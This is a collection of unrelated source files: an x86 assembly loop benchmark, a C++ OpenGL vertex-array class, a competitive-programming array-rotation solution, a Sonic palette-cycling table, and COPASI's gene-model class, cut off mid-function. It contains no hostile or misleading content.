mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax dec ecx jz loopend mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax mov edx, eax jmp looptop loopend: push -11 call GetStdHandle mov ebx, eax push 0 lea eax, [ebp-4] push eax push (message_end - message) push offset message push ebx call writefile ;basic blocks 8 ;3x nodes [26,27, exitprocess] push 0 call ExitProcess ;stats ; 29 nodes (including node 0) ; 28 edges ; 0 exceptions ; 5 seperate external nodes ; 24 instructions [29 nodes - 5 externals] ; 29 instructions would also be acceptable, as that would be counting the jmp dword ptr [xxxx] thunks end main end
#include <qrk/vertex_array.h> namespace qrk { VertexArray::VertexArray() { glGenVertexArrays(1, &vao_); activate(); } void VertexArray::activate() { glBindVertexArray(vao_); } void VertexArray::deactivate() { glBindVertexArray(0); } // TODO: Reduce duplication in these methods. void VertexArray::loadVertexData(const std::vector<char>& data) { activate(); if (!vbo_) glGenBuffers(1, &vbo_); glBindBuffer(GL_ARRAY_BUFFER, vbo_); // TODO: Allow other draw strategies besides GL_STATIC_DRAW. glBufferData(GL_ARRAY_BUFFER, data.size(), &data[0], GL_STATIC_DRAW); vertexSize_ = data.size(); } void VertexArray::loadVertexData(const void* data, unsigned int size) { activate(); if (!vbo_) glGenBuffers(1, &vbo_); glBindBuffer(GL_ARRAY_BUFFER, vbo_); glBufferData(GL_ARRAY_BUFFER, size, data, GL_STATIC_DRAW); vertexSize_ = size; } void VertexArray::allocateInstanceVertexData(unsigned int size) { activate(); if (!instanceVbo_) glGenBuffers(1, &instanceVbo_); glBindBuffer(GL_ARRAY_BUFFER, instanceVbo_); glBufferData(GL_ARRAY_BUFFER, size, nullptr, GL_STATIC_DRAW); } void VertexArray::loadInstanceVertexData(const std::vector<char>& data) { activate(); if (!instanceVbo_) glGenBuffers(1, &instanceVbo_); glBindBuffer(GL_ARRAY_BUFFER, instanceVbo_); glBufferData(GL_ARRAY_BUFFER, data.size(), &data[0], GL_STATIC_DRAW); } void VertexArray::loadInstanceVertexData(const void* data, unsigned int size) { activate(); if (!instanceVbo_) glGenBuffers(1, &instanceVbo_); glBindBuffer(GL_ARRAY_BUFFER, instanceVbo_); glBufferData(GL_ARRAY_BUFFER, size, data, GL_STATIC_DRAW); } void VertexArray::loadElementData(const std::vector<unsigned int>& indices) { activate(); if (!ebo_) glGenBuffers(1, &ebo_); glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, ebo_); glBufferData(GL_ELEMENT_ARRAY_BUFFER, indices.size(), &indices[0], GL_STATIC_DRAW); elementSize_ = indices.size(); } void VertexArray::loadElementData(const unsigned int* indices, unsigned int size) { activate(); if (!ebo_) glGenBuffers(1, &ebo_); glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, ebo_); glBufferData(GL_ELEMENT_ARRAY_BUFFER, size, indices, GL_STATIC_DRAW); elementSize_ = size; } void VertexArray::addVertexAttrib(unsigned int size, unsigned int type, unsigned int instanceDivisor) { VertexAttrib attrib = { .layoutPosition = nextLayoutPosition_, .size = size, .type = type, .instanceDivisor = instanceDivisor, }; attribs_.push_back(attrib); nextLayoutPosition_++; // TODO: Support types other than float. stride_ += size * sizeof(float); } void VertexArray::finalizeVertexAttribs() { activate(); int offset = 0; for (const VertexAttrib& attrib : attribs_) { glVertexAttribPointer( attrib.layoutPosition, attrib.size, attrib.type, /* normalized */ GL_FALSE, stride_, // TODO: Support types other than float. /* offset */ static_cast<const char*>(nullptr) + offset); glEnableVertexAttribArray(attrib.layoutPosition); if (attrib.instanceDivisor) { glVertexAttribDivisor(attrib.layoutPosition, attrib.instanceDivisor); } offset += attrib.size * sizeof(float); } // Clear state to support subsequent runs. // We intentionally don't reset nextLayoutPosition_. attribs_.clear(); stride_ = 0; } } // namespace qrk
#include<bits/stdc++.h> using namespace std; int main() { int n,k,q,j,w; cin>>n>>k>>q; int a[n],i,b[n]; for(i=0;i<n;i++) { cin>>a[i]; } for(i=0;i<n;i++) { b[(i+k)%n]=a[i]; } for(i=0;i<q;i++) { int m; cin>>m; cout<<b[m]<<endl; } return 0; }
; --------------------------------------------------------------------------- ; Scrap Brain Zone palette cycling script ; --------------------------------------------------------------------------- mSBZp: macro duration,colours,paladdress,ramaddress dc.b duration, colours dc.w paladdress, ramaddress endm ; duration in frames, number of colours, palette address, RAM address Pal_SBZCycList1: dc.w ((end_SBZCycList1-Pal_SBZCycList1-2)/6)-1 mSBZp 7,8,Pal_SBZCyc1,v_pal_dry+$50 mSBZp $D,8,Pal_SBZCyc2,v_pal_dry+$52 mSBZp $E,8,Pal_SBZCyc3,v_pal_dry+$6E mSBZp $B,8,Pal_SBZCyc5,v_pal_dry+$70 mSBZp 7,8,Pal_SBZCyc6,v_pal_dry+$72 mSBZp $1C,$10,Pal_SBZCyc7,v_pal_dry+$7E mSBZp 3,3,Pal_SBZCyc8,v_pal_dry+$78 mSBZp 3,3,Pal_SBZCyc8+2,v_pal_dry+$7A mSBZp 3,3,Pal_SBZCyc8+4,v_pal_dry+$7C end_SBZCycList1: even Pal_SBZCycList2: dc.w ((end_SBZCycList2-Pal_SBZCycList2-2)/6)-1 mSBZp 7,8,Pal_SBZCyc1,v_pal_dry+$50 mSBZp $D,8,Pal_SBZCyc2,v_pal_dry+$52 mSBZp 9,8,Pal_SBZCyc9,v_pal_dry+$70 mSBZp 7,8,Pal_SBZCyc6,v_pal_dry+$72 mSBZp 3,3,Pal_SBZCyc8,v_pal_dry+$78 mSBZp 3,3,Pal_SBZCyc8+2,v_pal_dry+$7A mSBZp 3,3,Pal_SBZCyc8+4,v_pal_dry+$7C end_SBZCycList2: even
// Copyright (C) 2017 by Pedro Mendes, Virginia Tech Intellectual // Properties, Inc., University of Heidelberg, and University of // of Connecticut School of Medicine. // All rights reserved. // Copyright (C) 2010 - 2016 by Pedro Mendes, Virginia Tech Intellectual // Properties, Inc., University of Heidelberg, and The University // of Manchester. // All rights reserved. // Copyright (C) 2008 - 2009 by Pedro Mendes, Virginia Tech Intellectual // Properties, Inc., EML Research, gGmbH, University of Heidelberg, // and The University of Manchester. // All rights reserved. // Copyright (C) 2002 - 2007 by Pedro Mendes, Virginia Tech Intellectual // Properties, Inc. and EML Research, gGmbH. // All rights reserved. /** * CGene class. * Written by Pedro Mendes September 2002. * * For representing a gene and all the elements needed for COPASI * to represent it in a model */ #ifdef WIN32 #pragma warning(disable : 4786) #endif // WIN32 #define COPASI_TRACE_CONSTRUCTION #include <iostream> #include <string> #include <vector> #include "copasi.h" #include "utilities/CGlobals.h" #include "ABiochem/CGene.h" CGeneModifier::CGeneModifier(const std::string & name, CDataContainer * pParent): CDataObject(name, pParent, "CGeneModifier") { mModifier = NULL; mType = 0; mK = 1.0; } CGeneModifier::CGeneModifier(const CGeneModifier & src, CDataContainer * pParent): CDataObject(src, pParent) {} CGeneModifier::CGeneModifier(CGene * modf, C_INT32 type, C_FLOAT64 K, C_FLOAT64 n) { mModifier = modf; if ((type >= 0) && (type < 2)) mType = type; else type = 0; mK = K > 0.0 ? K : 1.0; mn = n > 0.0 ? n : 1.0; } CGeneModifier::~CGeneModifier() {} CGene * CGeneModifier::getModifier(void) { return mModifier; } C_INT32 CGeneModifier::getType(void) { return mType; } void CGeneModifier::setType(C_INT32 t) { mType = t; } C_FLOAT64 CGeneModifier::getK(void) { return mK; } C_FLOAT64 CGeneModifier::getn(void) { return mn; } void CGeneModifier::cleanup() {} CGene::CGene(const std::string & name, CDataContainer * pParent): CDataObject(name, pParent, "CGene") { mInDegree = 0; mOutDegree = 0; mRate = 1.0; mDegradationRate = 1.0; } CGene::CGene(const CGene & src, CDataContainer * pParent): CDataObject(src, pParent) {} CGene::~CGene() {} void CGene::setName(const std::string & name) { mName = name; } const std::string & CGene::getName() const { return mName; } C_INT32 CGene::getModifierNumber() { // return mModifier.size(); return mInDegree; } CGene * CGene::getModifier(C_INT32 n) { return mModifier[n]->getModifier(); } void CGene::setRate(C_FLOAT64 rate) { mRate = rate; } C_FLOAT64 CGene::getRate(void) { return mRate; } void CGene::setDegradationRate(C_FLOAT64 rate) { mDegradationRate = rate; } C_FLOAT64 CGene::getDegradationRate(void) { return mDegradationRate; } void CGene::addModifier(CGene *modf, C_INT32 idx, C_INT32 type, C_FLOAT64 K, C_FLOAT64 n) { CGeneModifier *temp; temp = new CGeneModifier(modf, type, K, n); // add the modifier object to the list mModifier.add(temp); // add the index to the list mModifierIndex.push_back(idx); // increment the in-degree of this gene addInDegree(); // and the out-degree of the modifier's modf->addOutDegree(); } void CGene::removeModifier(CGene *modf) { C_INT32 i, j; C_INT32 *it; for (i = 0; i < getModifierNumber(); i++) if (modf == getModifier(i)) { // decrement the in-degree of this gene decreaseInDegree(); // and the out-degree of the modifier's modf->decreaseOutDegree(); mModifier.remove(i); it = mModifierIndex.begin(); for (j = 0; j < i; j++) it++; mModifierIndex.erase(it); return; } } C_INT32 CGene::getModifierIndex(C_INT32 n) { return mModifierIndex[n]; } C_INT32 CGene::getModifierType(C_INT32 n) { return mModifier[n]->getType(); } C_FLOAT64 CGene::getK(C_INT32 i) { return mModifier[i]->getK(); } C_FLOAT64 CGene::getn(C_INT32 i) { return mModifier[i]->getn(); } void CGene::cleanup() { mModifier.cleanup(); } C_INT32 CGene::getNegativeModifiers(void) { C_INT32 i, n, s; s = mModifier.size(); for (i = n = 0; i < s; i++) if (mModifier[i]->getType() == 0) n++; return n; } C_INT32 CGene::getPositiveModifiers(void) { C_INT32 i, n, s; s = mModifier.size(); for (i = n = 0; i < s; i++) if (mModifier[i]->getType() == 1) n++; return n; } C_INT32 CGene::getInDegree() { return mInDegree; } void CGene::addInDegree() { mInDegree++; } void CGene::decreaseInDegree() { mInDegree--; } C_INT32 CGene::getOutDegree() { return mOutDegree; } void CGene::addOutDegree() { mOutDegree++; } void CGene::decreaseOutDegree() { mOutDegree--; } C_INT32 CGene::getTotalDegree() { return mOutDegree + mInDegree; } void CGene::sortModifiers() { C_INT32 np, i, j; CGeneModifier *tempModf; C_INT32 tempK, tempN, tempIdx; np = 